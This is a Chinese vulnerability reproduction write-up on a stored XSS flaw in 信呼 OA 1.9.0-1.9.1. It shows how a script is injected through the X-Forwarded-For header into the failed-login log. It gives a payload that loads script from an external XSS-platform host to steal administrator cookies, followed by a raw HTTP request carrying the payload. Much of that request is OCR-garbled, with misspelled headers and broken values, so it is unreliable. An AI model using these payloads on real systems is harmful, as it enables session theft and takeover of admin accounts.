[bookmark: 信呼oa-190-191-储存型xss]信呼oa 1.9.0-1.9.1 储存型xss
[bookmark: 一漏洞简介]一、漏洞简介
[bookmark: 二漏洞影响]二、漏洞影响
信呼oa 1.9.0-1.9.1
[bookmark: 三复现过程]三、复现过程
首先搭建好之后跳转到一个登录页面
[image: https://wiki.0-sec.org/img/05ba6caec6164d67890eabb11f6c88bc.png]
输入刚开始安装时设置的管理员usname paword
然后点击登陆，然后抓包查看传参，然后去寻找登陆模块的源代码，根据传参的追踪，我们很快就能追踪到这个文件
webmain\model\loginMode.php
然后我在这个登陆文件loginMode.php的第209行到215行发现了一些东西
[image: https://wiki.0-sec.org/img/d2f0f7af91c649d596e47be9c1b10b81.png]
这里出现了一个addlogs函数，看名字应该是添加日志，在logModel.php中发现了他的定义
[image: https://wiki.0-sec.org/img/4ff91777cded4f7687938a3b54171e14.png]
这里是获取了信息然后给数组赋值，然后insert函数调用 在mysql.php
[image: https://wiki.0-sec.org/img/89373c27f8484e1a93f7d0e387441558.png]
很明显这里是插入语句的模板，这里就应该是登陆失败后，日志会记录下来前面看的到那些数组赋值的信息。
通过查看Mysql日志发现，登录失败他会记录我们的Ip，那么就简单了，我们是否可以尝试使用X-Forwarded-For来改变他的ip，然后我们使用
X-Forwarded-For:127.0.0.1
X-F-F成功更换后台Ip
[image: https://wiki.0-sec.org/img/5910681eb7ce471d966ffbeda1ab2e89.png]
打个xss
[image: https://wiki.0-sec.org/img/ab04e89d12cc46a38d38784b5f83ff8a.png]
后台成功弹框
[image: https://wiki.0-sec.org/img/8dd00a6a9894492db98704fbd08656ca.png]
打开XSS平台
[image: https://wiki.0-sec.org/img/2fe044c96c824839829b797a97432b17.png]
打一遍发现没用，获取不到cookie，F12看看咋回事
[image: https://wiki.0-sec.org/img/ab023dcd02de4f2e879ca647365175d0.png]
果然是xss代码出了问题
构造xss代码，极限代码-->多加//防止被转入之前--><sCRiPt/SrC=////xs.sb/Jwdu>
[image: https://wiki.0-sec.org/img/33e0308136ce49f6af198f2b7aee65fe.png]
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POST /index. php?a=checkBm=login&d=&ajaxbool=tius&md=982804 HTTP/1.1

Host: 192.168.0.104

User-Agent: Mozla/5.0 (Windows NT 10.0; Winb; x64; 1v77.0) Gecka/20100101 Firefox/77.0
Accept: application/json, text/javascript,

Accept-Language: zh-CN,zh; 7=0.8,2h-TW;
Accept-Encoding: gzip, deflate
Cantent-Type: application/x-vww-form-urlencadsd

XRequastad- With: XMLHitpRequest

Content-Length: 102

Origin: hitp://192.168.0.104

X-Forwardsd-For: <script>alert(1)</script> <

Connection: closs

Referer. hitp:/192.1668.0.104/7m=login

Cookie: PHPSESSID=17 dasOkoBmip20jai2atdlinp; deiceid=1591594698583;
xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

7,2hHKg=0.5,en-US;g=0.3,em;q=0.2

rempass=0&jmpass=als&device=15915946985838Itype=0&adminuser=Y WRtaWA%3A&adminpas
=MTEXMTEXMTEx8yanzm=
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